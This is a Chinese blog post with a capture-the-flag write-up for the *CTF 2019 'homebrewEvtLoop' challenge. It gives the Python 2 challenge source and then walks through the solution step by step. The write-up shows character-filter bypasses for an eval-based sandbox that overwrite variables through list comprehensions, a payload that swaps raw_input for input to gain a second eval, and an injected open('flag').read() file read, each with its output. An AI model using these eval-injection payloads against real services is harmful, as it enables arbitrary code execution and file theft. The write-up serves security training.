Learning Man's Blog

*CTF 2019 homebrewEvtLoop

字数统计: 1.3k阅读时长: 6 min
2019/05/07
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'

def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret

def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}
    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
    return __wrapper

def PoW():
    #return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if hashlib.sha1(input).hexdigest()[:4] == a:
            break
        print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'

def ping_handler(args):
    return 'pong'

def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))

if __name__ == '__main__':
    session = {}
    session['log'] = flag()
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')

        try:
            handler = eval(event)
            print handler(args)
        #except Exception, e:
        #    print 'exception:', str(e)
        except:
            print 'exception'

这个题目第一眼看着和 DDCTF 里面的 homebrew event loop题目很像(名字都很像),为方便测试将 PoW 函数直接 return

梳理

先梳理下流程

  1. 验证码验证,由 sha1 随机生成
  2. 切换标准输入输出为 None,可再次使用此函数切换回来;在 None 的情况下无法进行下一轮输入
  3. 使用114514分割 event: str 和 args: list
  4. event 会被 eval 执行

同时需要注意的地方

  1. 输入被过滤,只能输入数字、大小写字母、下划线、中括号
  2. 两个 flag 最后均存在 session[‘log’] 中
  3. flag2:func 被注释,但指明了需要实现文件读取

整个题目中能控制的就是 event、args,其中 event 会被 eval 处理一遍,一般这里会存在 eval 滥用的情况导致 bypass 执行恶意表达式,但是由于被限制了可输入字符集,所以不能直接使用 eval

但是假如将 event 故意设置为 input 函数呢,input(args)会在终端中返回 args 的字符串内容,比如

$ input114514bug
['bug']exception

那如果进一步延伸一下,假如可以使得 event->input 以及 args->session[‘log’],那这样输出就为 session[‘log’]中的内容即 flag 了

想到了什么?变量覆盖!

变量覆盖

在 python 中,在 for 循环中很容易发现变量覆盖的影子

>>> i = 0
>>> for i in range(2):
...     pass
... 
>>> i
1
>>> 

有时为简化而使用列表生成式

>>> [i for i in range(10)]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> 

但是这里需要用到空格,需要绕过,既然题目中给了[],那就利用起来

>>> i = 0
>>> [[i]for[i]in[[1]]]
[[1]] 
>>> i
1
>>>

同时将列表生成式用于返回想要的函数,如目标函数为 input,有

>>> [[input]for[i]in[[1]]][0]
[<built-in function input>]
>>> [[input]for[i]in[[1]]][0][0]
<built-in function input>

Flag1

由于题目中最终变量为args,目标变量为 session,所以有以下

$ [[input]for[args]in[[session]]][0][0]114514x
{'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}exception
$ lost sys.stderr

而官方预期解法使用的类似于盲注的技巧

$ session[args[0]][5]in[event[83]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log
exception
$ lost sys.stderr

$ session[args[0]][5]in[event[84]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log
lost sys.stderr
['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delslice__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getslice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__setslice__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

相当于session['log'][5] in [abc..J..890][35] and dir(),为假报错,为真显示dir()内容

Flag2

由于switch_safe_mode函数导致无法进行多轮输入,所以先考虑如何绕过,这里有两种方法,优先第二种,毕竟第一种方法还要重新算验证码

# 重载 sys 恢复当前标准输入输出,这样ctx['io_pair']以及当前输入输出均正常,切换不影响
[[reload][0]for[args]in[[sys]]][0]114514x

# 替换 PoW 为切换函数,可认为负负得正->未修改标准输入输出
[[str]for[PoW]in[[switch_safe_mode]]][0]114514x

这时候还是要考虑如何实现 load_flag_handler 函数,但是对应的 flag2 函数中的读取代码被注释掉了,如果要使用覆盖到 session[‘log’] 中由于读取函数或多会少都需要用到'符号,只有想办法在过滤前就实现

注意到使用了raw_input函数

Python2.x 中 input() 相等于 eval(raw_input(prompt)),用来获取控制台的输入。
Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型

所以通过替换raw_inputinput就可以执行在过滤前后分别执行一次 eval

$ [[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0]114514x
exception

相当于

PoW = switch_safe_mode
raw_input = input
str(x)

两次 eval 目的为:

  1. 第一次 eval 读取 flag 到 sessions 中
  2. 第二次 eval 类似 flag1 中的操作进行输出
$ ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]
*ctf{pYth0n2-f3@tur3_R19ht?}

相当于

event = raw_input() # ['[[str][0]for[args]in[[session]]][0]114514' for session in [open('flag', 'r').read()]][0]
event = eval(event) # event = '[[str][0]for[args]in[[session]]][0]114514'; session = 'flag...'
event, args = event.split('114514')
args = args.split('114514')
handler = eval(event) # handler = str; args = session
print handler(args) # str(session)

参考资料

  1. https://www.anquanke.com/post/id/177596
  2. https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop

原文作者:Sariel.D

原文链接:https://blog.sari3l.com/posts/65a5a87a/

发表日期:May 7th 2019, 5:53:33 pm

更新日期:July 6th 2020, 5:44:55 pm

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 梳理
    1. 1.1. 变量覆盖
  2. 2. Flag1
  3. 3. Flag2
  4. 4. 参考资料